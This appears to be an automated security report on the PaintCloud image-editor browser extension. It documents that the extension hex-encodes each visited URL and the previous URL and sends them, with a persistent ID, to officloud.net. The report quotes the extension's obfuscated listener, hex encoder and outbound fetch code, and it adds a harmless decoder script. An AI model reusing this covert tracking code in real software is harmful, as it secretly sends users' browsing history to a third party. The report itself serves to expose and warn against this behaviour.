Is PaintCloud editor for images & photos safe?

Medium risk

PaintCloud sends the URL of every page you open, plus the previous URL, to officloud.net.

On each top-level navigation the extension hex-encodes the full URL (including query string) and the tab's previous URL and sends them to www.officloud.net with a persistent random user ID. The 'Online integration' option is on by default, and the server controls how often it receives URLs. Image URLs ending in .png or .jpg are also sent separately, and the server can reply to make the extension open a tab on the vendor site carrying that image URL.

OffiCloudv1.2.4Firefox Add-ons
51Risk
Who publishes it

OffiCloud - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
OffiCloud
Website
www.officloud.net/image-editor-online-paintcloud/

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Officloud Image Editor sends each page you open, hex-encoded, to officloud.net

Code analysis shows each top-level page address, plus the tab's previous address, is hex-encoded and sent with a persistent random ID to officloud.net.

The 'Online integration' option defaults to on.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You open a page in the top frame of any tab.

The extension did this

The extension sends that page address and the tab's previous address to officloud.net.

The values are hex-encoded first.

Values placed in the request
  • Page address
    https://example.org/inbox?id=42

    The full address of the page you opened, including query string.

  • Previous address
    https://example.com/

    The last address loaded in that same tab.

  • Persistent ID
    k3x9qd0mzt

    A random 10 character ID stored locally and reused on every request.

  • Day of month
    09

    Today's day number, used with a server value to throttle sends.

The code that does this

Navigation listener and outbound request

Readable version

Listener: on each top-frame commit, join current and previous URL

officloud.js
chrome.webNavigation.onCommitted.addListener(function(tartyuu) {    if ( tartyuu && tartyuu.url )    {        if (tartyuu.frameId !== 0) {  return; }        if ( tartyuu.transitionType &&   ( tartyuu.transitionType.indexOf("frame") <= 0 ) )        {            urnmmlt =  tartyuu.url;            chrome.storage.local.get(tartyuu.tabId.toString(), function (item) {                    var urla = item[tartyuu.tabId.toString()];                    avisyu(urnmmlt + "|||" + urla);                    var tiu = {};                    tiu[tartyuu.tabId.toString()] = urnmmlt;                    chrome.storage.local.set(tiu);            });        }    }});

Hex encoder bxxx5

officloud.js
function bxxx5 (bin){  var i = 0, l = bin.length, chr, hex = ''  for (i; i < l; ++i)  {    chr = bin.charCodeAt(i).toString(16)    hex += chr.length < 2 ? '0' + chr : chr  }  return hex}

Request to officloud.net with encoded URLs and persistent ID u

officloud.js
let r56y = await fetch('https://www.officloud.net/app/ap-paintcloud.php?d22=' + d22 + '&fpah=' + bxxx5(urnmmltx) + '&xx=1&u=' + un);
Reproduce it yourself

Decodes the fpah value sent to officloud.net back into the current and previous page addresses.

Requires
  • Node.js 18+
decode-fpah.js · js
// Decodes the fpah parameter sent to officloud.net back into the visited URL and previous URL.const fpah = process.argv[2];if (!fpah) { console.error("usage: node decode-fpah.js <hex>"); process.exit(1); }let s = "";for (let i = 0; i < fpah.length; i += 2) s += String.fromCharCode(parseInt(fpah.substr(i, 2), 16));const [current, previous] = s.split("|||");console.log(JSON.stringify({ current, previous }, null, 2));
How to run it
  1. 1node decode-fpah.js 68747470733a2f2f6578616d706c652e6f72672f696e626f783f69643d34327c7c7c68747470733a2f2f6578616d706c652e636f6d2f
Destination host
    • www.officloud.net

    Receives /app/ap-paintcloud.php requests carrying the encoded URLs; same vendor as the extension.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.2.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every secure site you visit

    https://*/*

  • Read and change your data on every site you visit

    http://*/*

  • Store data in your browser

    storage

  • See every page you navigate to, as you navigate to it

    webNavigation

Where it sends data

Destinations our analysis observed PaintCloud editor for images & photos contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • www.officloud.net

    PaintCloud editor for images & photos sends data to www.officloud.net. 3 other extensions we have analysed send data here.

Updated 15 October 2026amo-2837211